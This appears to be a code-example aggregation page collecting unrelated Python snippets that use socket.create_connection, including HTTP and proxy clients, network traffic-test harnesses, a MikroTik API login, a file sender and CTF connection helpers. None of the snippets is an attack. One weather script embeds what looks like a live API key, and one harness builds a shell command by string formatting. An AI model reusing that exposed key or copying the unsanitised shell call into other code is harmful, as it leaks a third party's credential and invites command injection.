                      self.ssl_opts)
         sock = self._ssl_wrap_socket(sock,
                                      server_hostname=self.host,
                                      **self.ssl_opts)
         if self._ssl_validator:
             self._ssl_validator(sock)
     sock.setblocking(0)
     self.sock = sock
예제 #38
0
 def tcp_connection_to(self, *args, **kwargs):
     s = socket.create_connection(*args, **kwargs)
     yield s
     s.close()
예제 #39
0
def accessRequest(enteredUrl, counter):

    # Checks number of redirects, and returns if it is 10 or more
    if (counter > 9):
        print("Reached 10 redirects, exiting")
        return ("", 10)

	# Parsing through the URL input using the URLparse library.
    exitCode = 0
    o = urlparse(enteredUrl)

    # Checks if there is a colon in the parsed URL, and splits the string at the colon
    hostTemp = o.netloc.split(":")
    # If there was no split, use default port 80
    if(len(hostTemp) == 1):
        host = (hostTemp[0], 80)
    # If there was one split, save the port that was typed in
    elif(len(hostTemp) == 2):
        host = (hostTemp[0], hostTemp[1])
    # If there were multipe splits, there is something wrong with the URL
    else:
        print("Entered URL and ports are nonsensical")
        sys.exit(102)

    # Building the GET message
    httpMsg = "GET "

    # Checking if the URL is of the secure variety, and exiting if so
    if(o.scheme == 'https'):
        print ("Attempted to HTTPS")
        sys.exit(403)

    # If a path was not specified, just add a '/' to the message
    if (o.path==""):
        httpMsg += "/"
    # If there was a path, add that to the message instead
    else:
        httpMsg += o.path

    # Finishing the first line of the GET message
    httpMsg += " HTTP/1.0"
    httpMsg += "\r\n"

    # Handles Host: header
    httpMsg += "Host: "
    httpMsg += host[0]
    # If the port isn't the default Port 80, specify the port in the message
    if(host[1] != 80):
        httpMsg += ":"
        httpMsg += host[1]
    # End the message appropiately
    httpMsg += "\r\n\r\n"

    # Creating the socket object using the Python Socket library
    socketObj = socket.create_connection(host)

    # Sending the message using the socket we created
    socketObj.sendall(httpMsg)

    # Intializing the variable to hold the return message
    msgReturn = ""

    # Manages responses > 1024 bytes
    # Borrowed from https://docs.python.org/2/library/socket.html
    while True:
        data = socketObj.recv(1024)
        if not data: break
        msgReturn += data
	# At this point, we have the full HTTP response

    # Splitting the return message up into lines
    firstLine = msgReturn.splitlines()[0]
    # Intializing the newURL varaible
    newUrl = ""

    # The response code is in the same place for every message, so we grab the numerical code
    # We cast it to an int so we can compare it to other numbers
    responseCode = int(firstLine[9:12])

    # Checking if the code is either a temporary or permanent redirect
    if (responseCode == 301 or responseCode == 302):
    	# Check each line in the response for a location line
        for line in msgReturn.splitlines():
            # Store the location of the location text
            loc = line.find("Location: ")
            # If 'Location: ' was in the given line, the response will not be -1
            if (loc != -1):
                # Update newURL with the new URL and break out of the loop
                newUrl = line[10:]
                break

    # If the response code is a 400 code, exit the program with that as the exit code
    if (responseCode >= 400 and responseCode < 500):
        exitCode = responseCode

    # Check if the content type line says text/html
    contentType = msgReturn.find("Content-Type: text/html")
    # If the type is not text/html exit with an error code
    if(contentType == -1):
        print("Returned type is not text/html")
        sys.exit(101)

    # Close the connection
    socketObj.close()

    # If there is a new URL, print a message
    # Attempt to access the new URL and increase the redirect counter by 1
    if(newUrl):
        print("Redirected to: " + newUrl)
        (msgReturn, exitCode) = accessRequest(newUrl, counter + 1)

    # We return the message recieved and exit code
    return (msgReturn, exitCode)
예제 #40
0
    """

    last_colon = string.rfind(":")
    first_colon = string.find(":")

    if last_colon == -1 or first_colon == -1:
        return "CALL", (0, 0)
    return [string[:first_colon], (int(string[first_colon+1:last_colon]), int(string[last_colon+1:]))]

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='A Pokerbot.', add_help=False, prog='pokerbot')
    parser.add_argument('-h', dest='host', type=str, default='localhost', help='Host to connect to, defaults to localhost')
    parser.add_argument('port', metavar='PORT', type=int, help='Port on host to connect to')
    args = parser.parse_args()

    PLOT_FLAG = True # Plots the results of the MADBot and other player.
    MADBot_delta = []
    otherbot_delta = []


    # Create a socket connection to the engine.
    print 'Connecting to %s:%d' % (args.host, args.port)
    try:
        s = socket.create_connection((args.host, args.port))
    except socket.error as e:
        print 'Error connecting! Aborting'
        exit()

    bot = Player()
    bot.run(s)
예제 #41
0
 def client_connect():
     clientsock = socket.create_connection((ip, port))
     client = NetstringSocket(clientsock)
     return client
예제 #42
0
파일: exploit.py 프로젝트: sugoroku/ctf
def sock(host, port):
    s = socket.create_connection((host, port))
    return s, s.makefile('rw', bufsize=0)
예제 #43
0
 def connect(self):
     """Connects to the given host"""
     self.socket = socket.create_connection(self.address, self.timeout)
예제 #44
0
    def _run(self):
        ''' Run the traffic test

        Sets up traffic test with remote traffic server and local ifaces, then
        runs the runner hook into the trfgen binary and collects the results to
        cache

        Will block until the test ends
        '''
        # Create a snapshot of the test's states, in case they get changed or
        # wiped in a later operation. Basically, render tests immune to later
        # operations after the test has started.
        with self._test_lock:
            instances = copy.deepcopy(self._instances)
            test_ids = copy.deepcopy(self._test_ids)

        try:
            # Set up sockets and associated streams
            sc = socket.create_connection(self._remote_server)
            sc_in = sc.makefile('rb')
            sc_out = sc.makefile('wb')

            # Set up network ifaces and get UL port assignments for DL
            aliases = ()
            for instance in instances:
                aliases += (TrafficTest._iface_up(instance.ip),)
                if not instance.is_uplink:
                    # Assign a local port for the downlink UE server
                    instance.port = TrafficTest._get_port()

            # Create and send TEST message
            msg = TrafficRequest(
                TrafficRequestType.TEST, payload=instances)
            msg.send(sc_out)

            # Receive SERVER message and update test instances
            msg = TrafficMessage.recv(sc_in)
            assert msg.message is TrafficResponseType.SERVER
            r_id = msg.id  # Remote server test identifier
            server_instances = msg.payload  # (TrafficServerInstance, ...)

            # Locally keep references to arguments passed into trfgen
            args = [None] * len(instances)

            # Post-SERVER, pre-START logic
            for i in range(len(instances)):
                instance = instances[i]
                server_instance = server_instances[i]

                # Add ip network route
                net_iface_index = TrafficTest._iproute.link_lookup(
                    ifname=TrafficTest._net_iface)[0]
                server_instance_network = \
                    TrafficTest._network_from_ip(server_instance.ip, 8)
                TrafficTest._iproute.route(
                    'replace', dst=server_instance_network.exploded,
                    iif=net_iface_index, oif=net_iface_index, scope='link')

                # Add arp table entry
                os.system('/usr/sbin/arp -s %s %s' % (
                    server_instance.ip.exploded, server_instance.mac))

                if instance.is_uplink:
                    # Port should be the port of the remote for uplink
                    instance.port = server_instance.port
                else:
                    args[i] = self._run_test(
                        test_ids[i], server_instance.ip, instance.ip,
                        instance.port)

            # Send START for the given r_id
            msg = TrafficRequest(
                TrafficRequestType.START, identifier=r_id)
            msg.send(sc_out)

            # Wait for STARTED response
            msg = TrafficMessage.recv(sc_in)
            assert msg.message is TrafficResponseType.STARTED
            assert msg.id == r_id

            # Post-STARTED, pre-RESULTS logic
            for i in range(len(instances)):
                instance = instances[i]
                if instance.is_uplink:
                    args[i] = self._run_test(
                        test_ids[i], server_instances[i].ip, instance.ip,
                        server_instances[i].port)

            # Wait for RESULTS message
            msg = TrafficMessage.recv(sc_in)
            assert msg.message is TrafficResponseType.RESULTS
            assert msg.id == r_id
            results = msg.payload

            # Signal to end connection
            msg = TrafficRequest(TrafficRequestType.EXIT)
            msg.send(sc_out)

            # Close out network ifaces
            net_iface_index = TrafficTest._iproute.link_lookup(
                ifname=TrafficTest._net_iface)[0]
            # For some reason the first call to flush this address flushes all
            # the addresses brought up during testing. But subsequent flushes
            # do nothing if the address doesn't exist
            for i in range(len(instances)):
                TrafficTest._iproute.flush_addr(index=net_iface_index,
                                                address=instances[i].ip.exploded)
            # Do socket cleanup
            sc_in.close()
            sc_out.close()
            sc.shutdown(socket.SHUT_RDWR)  # Ensures safe socket closure
            sc.close()

            # Cache results after cleanup
            with self._test_lock:
                self._results = results
        finally:
            # Signal that we're done
            self._done.set()
예제 #45
0
def get_my_ip(robot_ip, port):
    s = socket.create_connection((robot_ip, port))
    tmp = s.getsockname()[0]
    s.close()
    return tmp
예제 #46
0
def sock_create_connection(address):
    return socket.create_connection(address)
예제 #47
0
import bs4
import requests

res = requests.get("https://www.brainyquote.com/quotes_of_the_day.html")

soup = bs4.BeautifulSoup(res.text, 'lxml')
quote = soup.find('img', {"class": "p-qotd"})

t1 = quote['alt']
#print(t1)

import socket
import requests
try:
    city = "MUMBAI"
    socket.create_connection(("www.google.com", 80))
    a1 = "http://api.openweathermap.org/data/2.5/weather?units=metric"
    a2 = "&q=" + city
    a3 = "&appid=c6e315d09197cec231495138183954bd"
    api_address = a1 + a2 + a3
    res1 = requests.get(api_address)
    data = res1.json()
    main = data['main']
    temp = main['temp']
    #print(temp)

    #print(city)

except OSError:
    print("check network")
예제 #48
0
파일: test.py 프로젝트: tomguo2000/websocks
import socket
import sys
import traceback

try:
    import socks
    socks.set_default_proxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 3128)
    socket.socket = socks.socksocket
except ImportError:
    sys.exit("You must install `socks` to run test.\nlike run `pip install pysocks`")

try:
    sock = socket.create_connection(("abersheeran.com", 80))
    sock.sendall(b"GET / HTTP/1.1\r\nHost:abersheeran.com\r\n\r\n")
    print(sock.recv(4096))
except socket.error:
    traceback.print_exc()
finally:
    sock.close()
예제 #49
0
파일: python2.py 프로젝트: d4nnyk/ctfcode
    def __init__(self, remote):
        self._socket = socket.create_connection(remote, DEFAULT_TIMEOUT)

        # Disable kernel TCP buffering
        self._socket.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
예제 #50
0
 def __init__(self, ip="192.168.0.10", port=1337):
     self.sock = socket.create_connection((ip, port))
예제 #51
0
 def _create_socket(self):
     return socket.create_connection((self.host, self.port))
예제 #52
0
파일: nuvo.py 프로젝트: mjr9804/truvo
 def __init__(self, global_source):
     self.server_ip = socket.gethostbyname(AudioDistributionModule.NUVO_AUDIO_DIST_FQDN)
     self.conn = socket.create_connection((self.server_ip,
                                           AudioDistributionModule.NUVO_AUDIO_DIST_PORT))
     self.global_source = global_source
     self.payload_id = 1
예제 #53
0
    def _run(self):
        """Run the traffic test

        Sets up traffic test with remote traffic server and local ifaces, then
        runs the runner hook into the trfgen binary and collects the results to
        cache

        Will block until the test ends
        """
        # Create a snapshot of the test's states, in case they get changed or
        # wiped in a later operation. Basically, render tests immune to later
        # operations after the test has started.
        with self._test_lock:
            self.instances = copy.deepcopy(self._instances)
            test_ids = copy.deepcopy(self._test_ids)

        try:
            # Set up sockets and associated streams
            self.sc = socket.create_connection(self._remote_server)
            self.sc_in = self.sc.makefile("rb")
            self.sc_out = self.sc.makefile("wb")
            self.sc.settimeout(IPERF_DATA_TIMEOUT_SEC)

            # Flush all the addresses left by previous failed tests
            net_iface_index = TrafficTest._iproute.link_lookup(
                ifname=TrafficTest._net_iface,
            )[0]
            for instance in self.instances:
                TrafficTest._iproute.flush_addr(
                    index=net_iface_index,
                    address=instance.ip.exploded,
                )

            # Set up network ifaces and get UL port assignments for DL
            aliases = ()
            for instance in self.instances:
                aliases += (TrafficTest._iface_up(instance.ip),)
                if not instance.is_uplink:
                    # Assign a local port for the downlink UE server
                    instance.port = TrafficTest._get_port()

            # Create and send TEST message
            msg = TrafficRequest(
                TrafficRequestType.TEST,
                payload=self.instances,
            )
            msg.send(self.sc_out)

            # Receive SERVER message and update test instances
            msg = TrafficMessage.recv(self.sc_in)
            assert msg.message is TrafficResponseType.SERVER
            r_id = msg.id  # Remote server test identifier
            server_instances = msg.payload  # (TrafficServerInstance, ...)

            # Locally keep references to arguments passed into trfgen
            num_instances = len(self.instances)
            args = [None for _ in range(num_instances)]

            # Post-SERVER, pre-START logic
            for i in range(num_instances):
                instance = self.instances[i]
                server_instance = server_instances[i]

                # Add ip network route
                net_iface_index = TrafficTest._iproute.link_lookup(
                    ifname=TrafficTest._net_iface,
                )[0]
                server_instance_network = TrafficTest._network_from_ip(
                    server_instance.ip,
                    8,
                )
                TrafficTest._iproute.route(
                    "replace",
                    dst=server_instance_network.exploded,
                    iif=net_iface_index,
                    oif=net_iface_index,
                    scope="link",
                )

                # Add arp table entry
                os.system(
                    "/usr/sbin/arp -s %s %s"
                    % (
                        server_instance.ip.exploded,
                        server_instance.mac,
                    ),
                )

                if instance.is_uplink:
                    # Port should be the port of the remote for uplink
                    instance.port = server_instance.port
                else:
                    args[i] = self._run_test(
                        test_ids[i],
                        server_instance.ip,
                        instance.ip,
                        instance.port,
                    )

            # Send START for the given r_id
            msg = TrafficRequest(
                TrafficRequestType.START,
                identifier=r_id,
            )
            msg.send(self.sc_out)

            # Wait for STARTED response
            msg = TrafficMessage.recv(self.sc_in)
            assert msg.message is TrafficResponseType.STARTED
            assert msg.id == r_id

            # Post-STARTED, pre-RESULTS logic
            for i in range(num_instances):
                instance = self.instances[i]
                if instance.is_uplink:
                    args[i] = self._run_test(
                        test_ids[i],
                        server_instances[i].ip,
                        instance.ip,
                        server_instances[i].port,
                    )

            # Wait for RESULTS message
            msg = TrafficMessage.recv(self.sc_in)
            assert msg.message is TrafficResponseType.RESULTS
            assert msg.id == r_id
            results = msg.payload

            # Call cleanup to close network interfaces and open sockets
            self.cleanup()

            # Cache results after cleanup
            with self._test_lock:
                self._results = results

        except socket.timeout:
            print("Running iperf data failed with timeout")
            TrafficUtil.need_to_close_iperf3_server = True
            self.cleanup()
        except Exception as e:
            print("Running iperf data failed. Error: " + str(e))
            TrafficUtil.need_to_close_iperf3_server = True
            self.cleanup()
        finally:
            # Signal that we're done
            self._done.set()
예제 #54
0
from miktapi.sentence import sentence_pack, SentenceUnpacker
from miktapi.helper import SentenceParser, password_encode
from socket import create_connection

MIKROTIK_IP = '192.168.0.1'
MIKROTIK_API_PORT = 8728
MIKROTIK_API_USERNAME = '******'
MIKROTIK_API_PASSWORD = '******'
SOCKET_TIMEOUT = 3

sock = create_connection((MIKROTIK_IP, MIKROTIK_API_PORT), SOCKET_TIMEOUT)
need_close_socket = False

# initial login
sock.sendall(sentence_pack(['/login', '.tag=login']))

sentence_unpacker = SentenceUnpacker()

while True:

    data = sock.recv(4096)

    # exit loop if connection closed by Mikrotik
    if data == b'':
        break

    sentence_unpacker.feed(data)

    for sentence in sentence_unpacker:

        print('GOT=', sentence)
예제 #55
0
 def connect(self):
     """Connect to the host and port specified in __init__."""
     self.sock = socket.create_connection((self.host, self.port),
                                          self.timeout, self.source_address)
     if self._tunnel_host:
         self._tunnel()
예제 #56
0
파일: senddir.py 프로젝트: teemak/shed
                handle = win32file.CreateFile(fn,
                                              ntsecuritycon.FILE_GENERIC_READ,
                                              0, None, win32con.OPEN_EXISTING,
                                              0, None)
            except win32file.error as exc:
                if exc.winerror == 32: continue  # Keep waiting
                else: raise

            # If we get here, we should have a file open for reading.
            # So now, and only now, we establish a link to the server.
            if file == "T-888":  # Terminator!
                # Don't send this to the server - terminate everything here instead.
                win32file.CloseHandle(handle)
                os.remove(fn)
                sys.exit(0)
            sock = socket.create_connection((HOST, PORT))

            basename = os.path.split(fn)[-1]
            sock.send(basename.encode("UTF-8") + b"\n")

            while "moar bytes":
                err, chunk = win32file.ReadFile(handle, 8192)
                if err or not chunk: break
                sock.send(chunk)

            sock.close()
            win32file.CloseHandle(handle)
            break  # No more sleeping needed!

        # Delete the file when sent. Remove this line if not wanted.
        os.remove(fn)
예제 #57
0
 def open_connection():
     host, port = server.host, server.port
     sock = socket.create_connection((host, port))
     return BufferedSocket(sock)
예제 #58
0
 def connect(self):
     # recommended by Gatan to use localhost IP to avoid using tcp
     self.sock = socket.create_connection(('127.0.0.1', self.port))
예제 #59
0
 def open_connection():
     host, port = server.host, server.port
     sock = socket.create_connection((host, port))
     return sock.makefile("rb")
예제 #60
0
 def __init__(self, host, port):
     super(MyStream, self).__init__()
     self.sock = socket.create_connection((host, port))